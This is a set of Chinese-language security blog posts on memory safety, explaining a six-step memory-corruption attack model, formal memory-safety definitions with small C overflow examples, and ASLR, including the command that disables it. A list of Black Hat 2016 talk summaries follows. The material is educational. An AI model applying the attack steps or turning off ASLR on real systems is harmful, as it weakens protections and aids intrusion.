内存破坏是计算机安全中亘古不变的话题。内存破坏也被看作是top three危险的软件错误。像C/C++这种底层语言很容易引来这些bugs. 这些程序语言无法对内存安全性的保证,以至于让一些攻击者利用内存bugs改变程序行为或甚至控制整个控制流(control-flow). 要了解什么是内存安全性,可参考上一篇文章:内存持久战-内存安全性. 然而,一种最显而易见的解决方案就是避免这些容易引起内存破坏的程序语言,用一种内存安全的程序语言去重写这些程序。显然这是不切实际的,比如重写整个OS?
尽管papers的许多防御措施层出不穷,但大部分都无法应用到工业上,归结于以下问题:性能开销太大、与现有的程序特性并不兼容、不够健壮、不够完整、依赖于编译器或源码等等。
对内存的破坏与保护是一场持久战。本文重在总结利用内存破坏的相关攻击及其实施过程。


0X01 基本攻击类型

  • 代码破坏攻击(Code corruption): 攻击者在内存中覆盖程序代码,执行自己写入的代码.
  • 控制流劫持(Control-flow hijack): 攻击者重写程序的返回地址或跳转地址,转而执行自己的代码(shell code).
  • 数据攻击(Data-only attack): 攻击者并不会修改程序控制流,而是操作程序中的关键数据获取额外权限或泄露重要信息。
  • 信息泄露(Information leak attack):任何类型的内存错误都有可能导致内存内容的泄露

注意,也许你会问,怎么没有缓冲区溢出攻击,format string攻击等? 这些都只是实施细节,属于过程,最终目的都可划分为以上的四种攻击模型。可具体看下文的构建攻击模型。

0X02 构建攻击模型

攻击者要实施一次完整的攻击,首先要触发内存错误,具体可按照以下六个步骤进行:
注:Step 1&2 是上述攻击模型通用的过程,必不可少,目的是为了触发内存错误。至于 Step 3-6,有些攻击需要完整的步骤才能执行,有些则在前几个阶段就可以完成。

Step 1: 让指针无效

要让指针无效,可以强制让指针越界(out of bounds),引用越界指针引发空间错误(spatial error)。包括:触发未经过检测的空间分配失败错误(allocation failure),这时指针将变成空指针;在循环中不作边界检测,不断递增或递减数组指针,让指针指向数组边界之外的内存空间导致缓冲区溢出;索引越界,一般由整数溢出、截断、对齐、错误的指针映射导致。

或可让指针指向已经被删除的对象,这时指针称为悬挂指针(dangling pointer).比如,利用不正确的异常处理器(exception handler)回收对象,但并不重新初始化指向这个对象的指针。
引用悬挂指针引发时域错误(temporal error). 时域错误也称为use-after-free漏洞,因为引用(used)悬挂指针是在指针指向的内存区域已经被回收(freed)到内存管理系统之后. 大部分此类的错误指针在heap上分配的对象,但局部变量的指针分配给全局变量后会造成指针逃逸(escape)出局部作用域,在函数返回或栈上的局部变量被删除后逃逸的指针将会变成悬挂指针。

Step 2: 强制让程序引用(读或写)无效指针

Step 3: 利用无效指针修改对象。修改的对象包括数据指针、代码指针、代码、数据变量,以及输出数据变量

Step 4: 偏离源程序执行。可将修改的对象转向攻击者特定的代码(code curruption attack)、也可指向shellcode或者gadget(指一些指令序列)的地址、修改变量特定值、解析输出的数据变量(information leak attack). 注:此时,code currupttion attack与information lead attack过程都已全部完成。

Step 5: 使用修改后的对象。包括利用间接跳转指令 call/jump 引用指针,利用返回指令引用指针,以及引用破坏后的数据变量(data-only attack).至此,数据攻击过程已全部完成。

Step 6: 执行恶意代码。包括重用现有的函数/gadgets以及执行注入的shellcode(control-flow hijack).至此,control-flow hijack过程已全部完成。

最后看两张图,分别是control-flow hijack利用越界指针与悬挂指针劫持控制流的完整过程:







既然谈论的是持久战,针对内存破坏相关攻击的防御措施将在下一篇文章内存持久战-防御措施详细介绍。

References

S&P’13 Eternal War in Memory


转载本文请务必注明,文章出处:《内存持久战之攻击模型》与作者信息:Diting0x

内存持久战之内存安全性

作者:Diting0x


CSysSec注: 本系列文章主要介绍内存的安全性问题,以及相应的攻击模型及防御措施,对整个系统安全问题的概览有很大的帮助。
转载本文请务必注明,文章出处:《内存持久战之内存安全性》与作者信息:Diting0x


  • IEEE Security&Privacy’13
  • 不访问未定义的内存
  • 无限间距
  • Pointers as capabilities

C语言中的buffer overflows, format string attacks等其它的一些vulnerabilities都有一个共同的问题:违背内存安全(Memory Safety)。本文主要讲述如何准确定义内存安全,为什么这些vulnerabilities违背了内存安全。 也为后续两篇文章内存持久战-攻击模型内存持久战-防御措施做好铺垫。

IEEE Security&Privacy’13

发表在IEEE Security&Privacy’13的一篇SoK(Systematization of Knowledge)文章,Eternal War in Memory ,阐述了一种定义内存安全的通用方法。
Definition 1: 文中提到,一个程序的执行,只要不会出现以下内存访问错误,就是内存安全的:

  • 1.缓冲区溢出
  • 2.引用空指针
  • 3.释放后使用(use after free)
  • 4.使用未初始化内存
  • 5.非法释放已经释放过的指针或未分配的指针

维基百科 wikipedia page on memory safety 也有类似的定义。从定义来看,排除这些错误是内存安全本身的定义所导向的,而并非内存安全性的本质。那么,如何将这些错误统一起来?

不访问未定义的内存

只有当程序访问未定义的内存时才会产生内存错误,这块内存是在程序中没有具体分配的,例如,heap 的一部分(通过malloc),stack(作为局部变量或者函数参数),又或者是静态数据区域(作为全局变量). George Necula 在他的CCured项目中(旨在为C程序实施内存安全性)提到,一个内存安全的程序从来不会去访问未定义的内存。我们可以假设,内存可以无限的大,大到内存地址从不会复用(reused).如此一来,被释放的内存(可以调用free 或者从函数返回的时候pop)从不会被重新分配,并且会永久的保持未定义状态。

Definition 2: 不访问未定义的内存就是内存安全的。
这种定义明显排除了error 2error 3. 如果将allocated 的定义包括initialized,又可以排除error 4. 如果假设free只能在定义过的内存指针中调用,那又可以排除error 5.

不幸的是,Definition 2 并未排除缓冲区溢出错误,也就是error 1。 来看一个例子,假定一个标准stack 布局, 在此定义下,program 1 的执行会被认为是内存安全的:

1
2
3
4
/* Program 1 */
int x;
int buf[4];
buf[5] =3; /*overwrite*/

Definition 2 允许 Program 1 通过是因为此程序是在合法分配的内存中写数据,甚至写的数据类型也是正确的。但实际上问题在于,数组buf 的溢出将数据写进了变量x 中,显然这是内存不安全的。

无限间距

Definition 2 延伸, Program 1 被看作是内存不安全的。只要加上这个假设: 内存区域分配的间距是无限大的。

Bufx 的分配间距无限的大,buf[5] 将会访问 buf 区域的边界外部。边界外部是个未定义的内存区域,按照上述定义,就会产生错误。heap ,静态数据区域对溢出的处理方式类似。

尽管 Definition 2 是个很接近让人满意的定义,但事实并未如此。来看 Program 1 的变形 Program 2,也是一种缓冲区溢出, Definition 2 仍然会允许 Program 2 执行。

1
2
3
4
5
6
7
/*Program 2 */
struct foo {
int buf[4];
int x;
};
struct foo *pf -malloc(sizeof(struct foo));
pf->buf[5] =3;/*overwrite pf->x*/

这里,缓冲区溢出发生在 object 的内部。我们仍然可以类似的在域间引入无限间距的概念来排除缓冲区溢出的错误。这并未太背离现实,C标准允许编译器决定不同域的间距。另一方面,程序语言把结构体当做一个单独的object (从 malloc 返回的单独指针). 许多程序会把一个结构体映射到另一个结构体,或者会确定好一种间距方案。许多编译器都支持这些操作,但是否可以有一种更好的定义不依赖于这些?

Pointers as capabilities

Definition 2 中,了解到许多概念,比如,定义的(分配的),未定义的(从没有分配的或者分配后回收的),我们假设分配后回收的内存不会再复用。如此一来,只要访问未定义的内存,就会违背内存安全性。

Definition 3: 我们引入这么一个概念, Pointers as capabilities. 也就是说,允许指针的持有者访问一定区域中的内存。一个指针由三个元素组成(p,b,e): b 定义有效的区域,e 定义边界,p 代表指针本身。 程序只能操作pbe ,这样做只是为了定义一次执行是否是内存安全的。

举个例子,看下面的Program 3以及对应的内存效果图:

1
2
3
4
5
6
7
8
9
10
11
12
/* Program 3 */
struct foo {
int x;
int y;
char *pc;
};
struct foo *pf = malloc(...);
pf->x = 5;
pf->y = 256;
pf->pc = "before";
pf->pc += 3;
int *px = &pf->x;

memory-safety3

重点关注代码的最后两行。Program 3 允许指针运算来新建一个新的指针,但只能当新指针落在b到e之间才能被解引用。从代码中看到,增加 \pcp ,新指针仍然落在be 之间,所以执行*(pf->pc) 是合法有效的。但如果执行 pf->pc+=10 , *(pf->pc) 将会违背内存安全性,尽管pf->pc 有可能碰巧就落在定义的内存区域中(这块内存区域可能分配给了其它object*).

最后一行代码创建一个新的指针px 指向pf 指针的第一个域,将边界缩小到其中的一个域中。这就排除了 Program 2 带来的内存溢出问题。加入我们保留pf整个的边界,此程序可能会利用px溢出到结构体中的其它域中。

Capability是无法伪造的,就像我们并不能伪造一个指针映射到整形数据中。非法映射可以是直接的(e.g. p=(int \)5 ) 也可以是间接的,比如将含有整形数据的结构体映射到含有指针的结构体中(e.g. p=(int **)pf ), 将Program 3 中结构体中的第一个整形数据域映射成指针。我们的定义简单的将映射看作是空操作。只有有效的指针才能被解引用,一个指针的capabilities在它创建的时候就已经确定了。 我们的定义中允许 Program 4* 的执行:

1
2
3
4
5
6
/* Program 4 */
int x;
int *p = &x;
int y = (int)p;
int *q = (int *)y
*q = 5;

p 指针初始化得be 一直会保持不变,尽管之后p 被转化成整形y, 因此当y 被转回为q 并被解引用的时候,指针依然存在。从另一方面来看,如果在Program 3 的最后加上 p=(int \*)pf , 紧接着 *p=malloc(sizeof(int)), 之后的操作 **p以及printf(“%d\n”,pf->x)* 都是合法的。也就是说,一块内存区域一开始存储了整形数据,之后也可将整形数据修改为指向整形数据的指针,然后解引用指针,这样操作是安全的,但反过来却不行。

在某种意义上来说,基于capability定义的内存安全性是一种类型安全形式(type safety)。这里只有两种类型:指针类型和非指针类型。这种定义保证了 1) 指针只在定义了合法内存区域的安全模式下被创建. 2) 指针只有在它们是指向分配给它们的内存区域的情况下被解引用. 3) 那块内存区域仍然是定义过的。这种定义排除了上述所有的五种错误。

注:本文主要意译 PL Enthusiast 上的一篇文章: What is memory safety

参考

What is memory safety
S&P’13 Eternal War in Memory

另,感谢S&P’13 Eternal War in Memory
的作者 Mathis Payer教授 的某些答疑,感谢感谢好友 叶邦宇 指出的一些勘误。


转载本文请务必注明,文章出处:《内存持久战之内存安全性》与作者信息:Diting0x

系统安全浅薄知识系列(一)-ASLR

作者:@Diting0x
转载请注明:作者信息以及来源《CSysSec:系统安全浅薄知识系列(一)-ASLR》


ASLR全称是Address Space Layout Randomization,翻译成中文就是地址空间布局随机化。

怎么做?

随机化程序的关键数据在内存中的位置,这些数据包括程序的数据段、堆、栈以及共享库。见下图:(图来源于CCS’15)




这些数据为什么没有包括代码段? 下文会继续讨论。

干嘛用的?

ASLR是一种保护缓冲区溢出攻击的防御技术,通过增加内存攻击(如return-into-libc或ROP)预测目标地址的难度阻碍其实施攻击。见下图:(图来源于CODASPY’16)




攻击者欲跳转到目标地址0xbfffd5d8的shellcode中,但在执行时其地址被随机化到了0xbfffe3f8中,此时跳转到0xbfffd5d8会导致内存奔溃。

ASLR历史

请看下图:(图来源于Abusing Performance Optimization Weaknesses to Bypass ASLR, 2014 BlackHat USA)




如何开启或关闭ASLR?

以Linux系统为例,通过配置/proc/sys/kernel/randomize_va_space中的值来开启或关闭ASLR.
运行cat /proc/sys/kernel/randomize_va_space命令,若输出为0,表示没有随机化,所有都是静态的;若输出为1,表示保守随机化,共享库、栈、mmap(),VDSO以及堆都被随机化;若输出为2,表示全随机化,在1的基础上,增加了通过brk()方式内存管理的随机化。
下图为Ubuntu14.04的结果

aslr3

关闭ASLR,可以运行echo 0 /proc/sys/kernel/randomize_va_space

Windows和Linux在ASLR机制上有所不同,想了解详情可以参考这里

编译成PIE?

说到这里,还遗留了一个问题,那就是随机化的数据为什么没有包括代码段? 要想让ASLR机制有效,就必须保证程序在内存空间的所有区域都是随机化的。有任何一部分没有被随机化,都有可能被攻击者利用来定位有效的gadgets来实施攻击。实际上,ASLR对代码段(.text)是不作随机化的,只有当可执行文件在编译成PIE(Position Independent Executable,位置依赖可执行文件)时,代码段才会被随机化。

对于non-PIE(也就是没有添加编译选项PIE),尽管ASLR的级别设置为2,攻击者仍然能利用程序的.text段以及GOT/PLT(全局偏移表/过程连接表)实施攻击(比如return-to-got/plt、ROP)。

既然non-PIE的可执行文件不能享受ASLR机制带来的安全性,那ASLR又有何意义? 是不是可以把所有的程序在编译时都加上PIE选项? 对Linux系统来说,是有选择性的编译PIE,所有的库文件都是默认编译成PIE的,而大部分程序默认是不会被编译成PIE的。详情可以参考这篇论文的发现Too much PIE is bad for performance

说了这么多,PIE的原理是什么?文章提到的这么多专有名词,ROP, Return-to-libc,Return-to-GOT/PIT, gadgets都又是什么呢?有机会再谈。

References

Lu et al,”ASLR-Guard: Stopping Address Space Leakage for Code Reuse Attacks”,CODASPY’16
Gu et al, “Derandomizing Kernel Address Space Layout for Memory Introspection and Forensics”, CCS’15
ASLR在Windows与Linux系统之间的差别
PAX/ASLR
How Effective is ASLR on Linux Systems?


转载请注明:作者信息以及来源《CSysSec:系统安全浅薄知识系列(一)-ASLR》

Blackhat系列USA 2016 Summary

由师妹整理,119篇

【1】SHELL ON EARTH: FROM BROWSER TO SYSTEM COMPROMISE

PRESENTED BY Matt Molinyawe & Jasiel Spelman & Abdul-Aziz Hariri & Joshua Smith

SHELL ON EARTH:从浏览器到系统妥协
摘要:这个presentation详细介绍了8个在今年的Pwn2Own比赛中获奖的从浏览器到超级用户的开发链(21个漏洞)。提出应用程序沙箱减少攻击面是朝着正确方向迈出的一步,但是攻击面仍然是广阔的,沙箱显然只是道路上的缓冲区。


【2】1000 WAYS TO DIE IN MOBILE OAUTH

PRESENTED BY Yuan Tian & Eric Chen & Shuo Chen & Yutong Pei & Robert Kotcher & Patrick Tague

1000种方法在移动的oAuth协议中死去
摘要:本文确定的关键部分都是在每个OAuth协议流程安全的关键,但是移动应用开发商混淆或未指定的,然后展示了几个有代表性的案例来具体说明实际实现是如何落入这些陷阱的。


【3】A JOURNEY FROM JNDI/LDAP MANIPULATION TO REMOTE CODE EXECUTION DREAM LAND

PRESENTED BY Alvaro Munoz & Oleksandr Mirosh

一个从JNDI/LDAP操作到远程代码执行梦想土地的旅程
摘要:本文首先介绍了一种攻击者将能够使用不同的技术在执行JNDI查找的服务器上运行任意代码的“JNDI参考注入”的新型漏洞 (CVE-2015-4902),以及相关基础知识,包括底层技术。然后深入解释攻击者利用不同的向量和服务来利用它的不同方法,其中LDAP提供了一种攻击向量,攻击者无法影响LDAP查找操作的地址,仍然可以修改LDAP目录,以便存储在应用程序查找操作检索时可执行任意代码的对象。


【4】A LIGHTBULB WORM?

PRESENTED BY Colin O’Flynn

一个灯泡上的蠕虫
摘要:本文探讨了蠕虫能通过智能光网络传播这个想法,特别是潜入飞利浦Hue智能照明系统的内部部件,并详细介绍了为防止这种情况而采取的安全措施。主要集中讨论了用于攻击物联网/嵌入式硬件设备的先进技术的例子。


【5】A RETROSPECTIVE ON THE USE OF EXPORT CRYPTOGRAPHY

PRESENTED BY David Adrian

关于出口密码使用的回顾
摘要:TLS在2015年经历了“出口级”密码学的三个重大漏洞— FREAK,Logajm和Drown。本文首先研究了与这三个出口相关漏洞的技术细节和历史背景,并提供最近的漏洞从一年以上的互联网扫描中收集的测量数据,同时研究了这些漏洞为什么发生,包含削弱密码的协议如何影响了安全性,以及如何更好地设计和实现未来的加密协议。


【6】ABUSING BLEEDING EDGE WEB STANDARDS FOR APPSEC GLORY

PRESENTED BY Bryant Zadegan & Ryan Lester

滥用网络标准出血边缘为了应用安全的光荣???
摘要:这篇文章严格探讨了SRI,CSP和HPKP标准带来的风险,展示有效的缓解策略和妥协,这可能使支持传统应用的建设者和维护者更合理适宜地使用这些标准;同时检查如HPKP等标准的紧急属性,以覆盖以前的不可预见的情景。


【7】ACCESS KEYS WILL KILL YOU BEFORE YOU KILL THE PASSWORD

PRESENTED BY Loic Simon

在你kill密码之前,访问密钥会kill you
摘要:本文详细介绍所有用户如何始终如一地需要MFA,而不管身份验证方法如何。此外,介绍了几个开源工具,其中包括一个新工具的发布,该工具可用于在AWS帐户中强制执行MFA保护的API访问,以便进行无痛工作。


【8】ACCOUNT JUMPING POST INFECTION PERSISTENCY & LATERAL MOVEMENT IN AWS

PRESENTED BY Dan Amiga & Dor Knafo

账户在感染后的持久性以及在AWS中的横向运动
摘要:本将介绍几种感染方法,包括一个新概念 - 用于接管PaaS(例如ElasticBeans)和IaaS(EC2,EC2 Containers)资源的“Account Jumping”。讨论了被感染的AMI,肮脏的账户转移以及利用S3和CloudFront用于执行AWS特定的凭据窃取,可以轻松导致完全帐户访问权限。接着讨论后感染阶段以及攻击者如何操纵AWS资源(公共端点,如EC2 IPS,弹性IPS,负载均衡器等),以完成对服务的MITM攻击。演示了如何通过lambda函数、一些跨区域复制配置以及特定帐户的存储相关性问题来很好地隐藏攻击者代码。通过利用和修改连接方法(HW / SW VPN,直接连接或云集线器)来检查云中的混合部署,并妥协内部数据中心。最后讨论将讨论可用于保护如堡垒SSH / RDP网关等攻击的最佳实践,了解基于CASB的解决方案的价值及其适合的位置,同时利用AWS中的审核和HSM功能查看不同的隔离方法来创建管理员和云之间的隔离,同时仍然提供对关键服务的访问。


【9】ADAPTIVE KERNEL LIVE PATCHING: AN OPEN COLLABORATIVE EFFORT TO AMELIORATE ANDROID N-DAY ROOT EXPLOITS

PRESENTED BY Yulong Zhang & Tao Wei

自适应的内核实时修补:一个开放的协作努力来改善Android N-day root漏洞渗透
摘要:本文提出了一个适应性的Android内核实时补丁框架,可以实现内核的开放和实时修补。同时为了防止hotpatches引入更多的漏洞和后门,组建了具有会员资格的特别联盟,只有那些选定的供应商才能提供从其他联盟成员提交的补丁和审核补丁。最后,该框架可以轻松扩展并应用于一般的Linux平台。


【10】ADVANCED CAN INJECTION TECHNIQUES FOR VEHICLE NETWORKS

PRESENTED BY Charlie Miller & Chris Valasek

车载网络先进的CAN(控制器局域网)注入技术 (no ppt)
摘要:本文讨论了物理,安全关键系统如何对注入的CAN消息做出反应,以及这些系统通常如何对这种类型的操作进行恢复。概述了CAN消息注入的新方法,可以绕过许多这些限制,并展示汽车的制动,转向和加速系统的结果。


【11】AIRBNBEWARE: SHORT TERM RENTALS LONG TERM PWNAGE

PRESENTED BY Jeremy Galloway

Airbnbeware:短期租赁长期使用
摘要:本文介绍了短期租赁可能会引起深不可测的网络安全状态,讨论了常规的攻击及其相应的防御(常规或其他),强调实用性和简单性,同时包含攻击演示。


【12】AMSI: HOW WINDOWS 10 PLANS TO STOP SCRIPT-BASED ATTACKS AND HOW WELL IT DOES IT

PRESENTED BY Nikhil Mittal

AMSI(AntiMalware Scan Interface):WINDOWS 10计划停止基于脚本的攻击,以及它是如何做到的
摘要:本文介绍了微软的AMSI是如何阻塞基于脚本的攻击的,并进行了展示。


【13】AN AI APPROACH TO MALWARE SIMILARITY ANALYSIS: MAPPING THE MALWARE GENOME WITH A DEEP NEURAL NETWORK

PRESENTED BY Konstantin Berlin

恶意软件相似性分析的AI方法:使用深层神经网络映射恶意软件基因组
摘要:本文开发了一种新的恶意代码相似性检测方法。这种方法不仅显着降低了手动调整相似性的需求,而且使用了更少的部署空间,精度也显著增加。相似性检测系统是利用深层神经网络进行代码共享识别,通过自动学习拆穿对手谍报,从而保持对手演变的最新状态。本文介绍了该方法如何工作,为什么能够显着改进当前的方法,以及如何轻松根据特定需求进行调整。


【14】AN INCONVENIENT TRUST: USER ATTITUDES TOWARD SECURITY AND USABILITY TRADEOFFS FOR KEY-DIRECTORY ENCRYPTION SYSTEMS

PRESENTED BY Patrick Gage Kelley

一种不方便的信任:用户关于key-directory加密系统安全性和可用性权衡的态度
【摘要】通过实验,让参与者使用传统的密钥交换模型和基于密钥目录的注册模型完成加密任务。并描述了每个的安全属性(不同的介绍顺序)。发现参与者很好地理解了这两个模型,并对何时采用不同的权衡做出了一致的评估。较不方便的交换模式整体上更加安全,但发现注册模式的安全性对于许多日常用途来说是“足够好”的。


【15】AN INSIDER’S GUIDE TO CYBER-INSURANCE AND SECURITY GUARANTEES

PRESENTED BY Jeremiah Grossman

一个关于网络保险和安全保障的内部指引
【摘要】本文从商业模式/产品效能等多个方面考虑,介绍如何创建一个安全保障计划。提供了几个有用的工具和过程。


【16】ANALYSIS OF THE ATTACK SURFACE OF WINDOWS 10 VIRTUALIZATION-BASED SECURITY

PRESENTED BY Rafal Wojtczuk

WINDOWS 10基于虚拟化安全的攻击面分析
【摘要】在Windows 10中,Microsoft引入了基于虚拟化的安全性(VBS),这是基于虚拟机管理程序的一组安全解决方案。本文讨论了VBS实现的细节,并评估了与其他虚拟化解决方案截然不同攻击面,重点关注基础平台复杂性导致的潜在问题。同时展示了实际的漏洞:一个针对VBS本身,一个针对易受攻击的固件。前者是非关键的(提供旁路的一个VBS功能),后者是至关重要的。

USA 2015: “Battle of the SKM and IUM: How Windows 10 Rewrites OS Architecture” and “Defeating Pass-the-Hash: Separation of Powers.”


【17】APPLIED MACHINE LEARNING FOR DATA EXFIL AND OTHER FUN TOPICS

PRESENTED BY Matt Wolff & Brian Wallace & Xuan Zhao

在数据和其他有趣的话题上应用机器学习
【摘要】本文的目的是帮助研究人员,分析师和安全爱好者将机器学习应用于安全问题。从思路走到功能齐全的工具上,涉及到各种安全相关的问题,包括机器学习的进攻和防御用例。通过这些例子和示范,以非常具体的方式来解释将机器学习与指定问题相结合的每一步。
此外,我们将发布所有的工具,以及源代码和相关数据集,使大家能够自己重现研究和实例。将通过此次演讲发布的基于机器学习的工具包括用于数据过滤的高级模糊工具,网络映射器以及命令和控制面板识别模块。


【18】ATTACKING SDN INFRASTRUCTURE: ARE WE READY FOR THE NEXT-GEN NETWORKING?

PRESENTED BY Changhoon Yoon & Seungsoo Lee

攻击SDN基础设施:我们为下一代网络做好准备了吗?
【摘要】本文通过实际攻击SDN堆栈的每一层来探索SDN的攻击面,展示了一些直接影响网络(服务)可用性或机密性的最关键的攻击,此外,还介绍了一些SDN安全项目。


【19】AVLEAK: FINGERPRINTING ANTIVIRUS EMULATORS FOR ADVANCED MALWARE EVASION

PRESENTED BY Alexei Bulazel

AVLEAK:用于高级恶意软件问题的指纹防病毒模拟器
【摘要】本文介绍的AVLeak,是通过自动黑盒测试来指纹化消费者防病毒模拟器的工具。AVLeak可用于从AV模拟器中提取可能被恶意软件使用的指纹,以检测其正在进行分析,并随后避开检测。AVLeak将被实时演示,显示使用可用于检测和规避受消费者青睐的AV的工具发现的真实世界指纹。


【20】BAD FOR ENTERPRISE: ATTACKING BYOD ENTERPRISE MOBILE SECURITY SOLUTIONS

PRESENTED BY Vincent Tan

对企业不利:攻击BYOD企业移动安全解决方案
【摘要】企业移动安全(EMS)是BYOD(Bring Your Own Device)解决方案的组成部分,为企业提供数据,设备和通信安全。其中,其目的是解决数据丢失,网络隐私和设备的越狱/生根。本文显示了EMS解决方案在很大程度上无效,在某些情况下甚至可能使组织面临意外的风险。分别在越狱和非越狱设备上展示针对EMS保护的应用程序的攻击,并介绍一个开创性的工具Swizzler,以帮助渗透测试员面对包含EMS保护的应用程序。


【21】BADTUNNEL: HOW DO I GET BIG BROTHER POWER?

PRESENTED BY Yang Yu

坏的隧道:如何获得大的兄弟力量?
【摘要】本文介绍了一种新的威胁模型。基于这种威胁模型,我们发现Windows系统中存在缺陷。它影响了过去20年发布的所有窗口,包括Windows 10。它具有非常广泛的攻击面,攻击可以在Internet Explorer、edge、微软Office、许多第三方软件、USB闪存驱动器,甚至Web服务器上执行。当此漏洞被触发时,您将被监视。同时展示了如何抵御这种威胁,特别是在那些不再受微软支持的系统上。


【22】BADWPAD

PRESENTED BY Maxim Goncharov

糟糕的wpad协议
【摘要】本文通过介绍几个实验的结果,突出显示这个设计不良的协议(WPAD)所固有的缺陷,并注意到可以轻易利用的许多方法。我们的研究扩展了这些已知的缺陷,并证明了“badWPAD”在今天通过在不同环境中测试可能恶意使用的令人惊讶的广泛适用性。


【23】BEHIND THE SCENES OF IOS SECURITY

PRESENTED BY Ivan Krstic

IOS安全背后的场景
【摘要】本文前所未有的讨论三种iOS安全机制技术细节,首次公开讨论其中一项iOS 10新的技术。HomeKit,Auto Unlock和iCloud Keychain是三种苹果技术,可处理用户数据异常敏感的用户数据。讨论了新型安全同步结构的加密设计和实现,以及iOS 10新增的一种独特的JIT硬化机制,使iOS Safari JIT成为更难的目标。


【24】BEYOND THE MCSE: ACTIVE DIRECTORY FOR THE SECURITY PROFESSIONAL

PRESENTED BY Sean Metcalf

超越微软安全认证:给安全专业人员的活动目录
【摘要】本文介绍了主要的Active Directory组件,这些组件对于安全专业人员来说,保护AD至关重要。


【25】BLUNTING THE PHISHER’S SPEAR: A RISK-BASED APPROACH FOR DEFINING USER TRAINING AND AWARDING ADMINISTRATIVE PRIVILEGES

PRESENTED BY Arun Vishwanath

钝化的钓鱼者的枪:一种基于风险的方法来定义用户培训和授予管理权限
【摘要】本文使用SCAM模型,提出了开发员工网络风险指数(CRI)。CRI将为安全分析师提供精确定位,并确定哪些人可能成为受害者,谁需要培训,多少培训以及培训应该集中在何方。CRI还将允许安全分析师识别哪些用户获得管理访问权,取代当前大多数基于角色的基于角色的分配方法,其中个人可以根据其组织角色和职责进行访问,并以基于个人量化的系统网络风险倾向。提出的基于CRI的方法将导致个性化,认知行为训练和循证方法来授予用户的管理员权限。


【26】BREAKING FIDO: ARE EXPLOITS IN THERE?

PRESENTED BY Jerrod Chong

打破FIDO:这里存在漏洞利用吗?
【摘要】本文确定了FIDO部署中隐藏的漏洞,漏洞的难度以及企业和组织如何保护自身。


【27】BREAKING HARDWARE-ENFORCED SECURITY WITH HYPERVISORS

PRESENTED BY Joseph Sharkey

通过虚拟机管理程序打破硬件强制安全
【摘要】本文演示了如何使用诸如虚拟机管理程序之类的低级技术来颠覆由这些强制安全机制所构成的安全保障。具体展示了虚拟机管理程序rootkit如何绕过英特尔的可信执行环境(TXT)DRTM(信任度量的动态根),并从Intel的AES-NI指令中捕获密钥。然后,通过使用其他英特尔技术,即1型虚拟机管理程序(VT-x)利用一台机器来突出显示英特尔TXT配置错误的老旧问题。最后,本文突出了开源tBoot项目和底层英特尔TXT技术实现过程中的一个缺陷。总结了要提供防御措施,包括妥善部署设计,包括使用密封存储,远程认证和硬件硬化。


【28】BREAKING KERNEL ADDRESS SPACE LAYOUT RANDOMIZATION (KASLR) WITH INTEL TSX

PRESENTED BY Yeongjin Jang & Sangho Lee & Taesoo Kim

通过英特尔的TSX打破内核地址空间布局随机化(KASLR)
【摘要】本文提出了一个新的KASLR定时侧信道攻击,称为DrK(去随机内核地址空间),可以通过识别页面属性来准确快速地对内存内存布局进行非随机化。展示了DrK在几秒钟内以几乎完美的准确性打破了所有主要操作系统的KASLR,包括Windows,Linux和OS X。最后,提出了可以防止或减轻DrK攻击的潜在硬件修改。


【29】BREAKING PAYMENT POINTS OF INTERACTION (POI)

PRESENTED BY Nir Valtman & Patrick Watson

打破支付交易点
【摘要】本文解释了主要的缺陷,并对广泛使用的密码键盘上的几个弱点进行了现场演示。作为我们演示的一部分,包括了绕过EMV,避免PIN保护和从各种渠道获取PAN。


【30】BRUTE-FORCING LOCKDOWN HARDDRIVE PIN CODES

PRESENTED BY Colin O’Flynn

【摘要】本文展示了通过欺骗前面板键盘,暴力破解一个AES-256加密硬盘驱动器的方法。除了硬盘驱动器的内部设计之外,还扩展了验证基于MB86C311芯片组的任何加密驱动器的安全性的相关工作。


【31】BUILDING A PRODUCT SECURITY INCIDENT RESPONSE TEAM: LEARNINGS FROM THE HIVEMIND

PRESENTED BY Kymberlee Price

建立产品安全事故响应团队:从HiverMind中学习
【摘要】本文针对中小型企业,小型的安全团队,并将内容分享和支持这些团队的产品事件响应程序的最佳实践。与会者将提供模板和可操作的建议,基于成熟的最佳做法,从多个成熟的安全响应组织。


【32】BUILDING TRUST & ENABLING INNOVATION FOR VOICE ENABLED IOT

PRESENTED BY Lynn Terwoerds

建立信任和鼓励语音功能启用IOT的创新
【摘要】语音隐私联盟为语音隐私创新工具包的一部分创建了一组39个敏捷安全故事,专门用于支持语音的IoT产品。这是一个非常实用的开发工具,语音隐私联盟认为这是确保语音支持的技术和促进创新所必需的。


【33】CALL ME: GATHERING THREAT INTELLIGENCE ON TELEPHONY SCAMS TO DETECT FRAUD

PRESENTED BY Aude Marzuoli

call me:收集电话诈骗的威胁情报来发现诈欺行为
【摘要】通过在一个大型电话蜜罐中跟踪呼叫模式,在电话信道中收集威胁情报,利用这些数据,开发了一种方法,以独特的“指纹识别”隐藏在多个电话号码后面的不良演员,并在呼叫的前几秒钟内对其进行检测。


【34】CAN YOU TRUST ME NOW? AN EXPLORATION INTO THE MOBILE THREAT LANDSCAPE

PRESENTED BY Josh Thomas & Shawn Moyer

【摘要】本文集中在整个移动生态系统中,从硬件组件到操作系统到他们连接的网络。探讨了移动供应商和操作系统的核心组件,重点是可能影响所有移动设备的错误,逻辑和根本问题。并且讨论了移动可信计算的局限性,以及可以做些什么来保护数据和数据所在的设备。如果熟练的攻击者可以在硬件级别打破信任,则整个设备在非常基本的(甚至不可检测的)级别被破坏。本文介绍了关于如何打破这种信任的方法。


【35】CANSPY: A PLATFORM FOR AUDITING CAN DEVICES

PRESENTED BY Jonathan-Christofer Demay & Arnaud Lebrun

CANSPY:用于审计CAN设备的平台
【摘要】本文提供了CANSPY,这是一个给安全审计员在审核CAN设备时提供的平台。它不仅可以实时阻止,转发或修改CAN帧,还可以通过一套规则自动执行,也可以交互使用以太网和诸如Scapy的数据包操作框架。


【36】CAPTAIN HOOK: PIRATING AVS TO BYPASS EXPLOIT MITIGATIONS

PRESENTED BY Udi Yavo & Tomer Bitton

captain hook:盗版AVS绕过漏洞缓解
【摘要】本文揭示了在各种hooking引擎中发现的六个不同的安全问题,被发现的漏洞使得威胁行为者能够绕过底层操作系统的安全措施。对不同的漏洞进行了调查,深入了解其中的几个漏洞。特别仔细地研究了大型供应商最受欢迎的商业hooking引擎中出现的漏洞。最后,我们演示了安全工具如何作为威胁行为者的入侵通道,挫败了安全措施。


【37】CAPTURING 0DAY EXPLOITS WITH PERFECTLY PLACED HARDWARE TRAPS

PRESENTED BY Cody Pierce & Matt Spisak & Kenneth Fitch

通过理想的硬件陷阱捕捉0day漏洞攻击
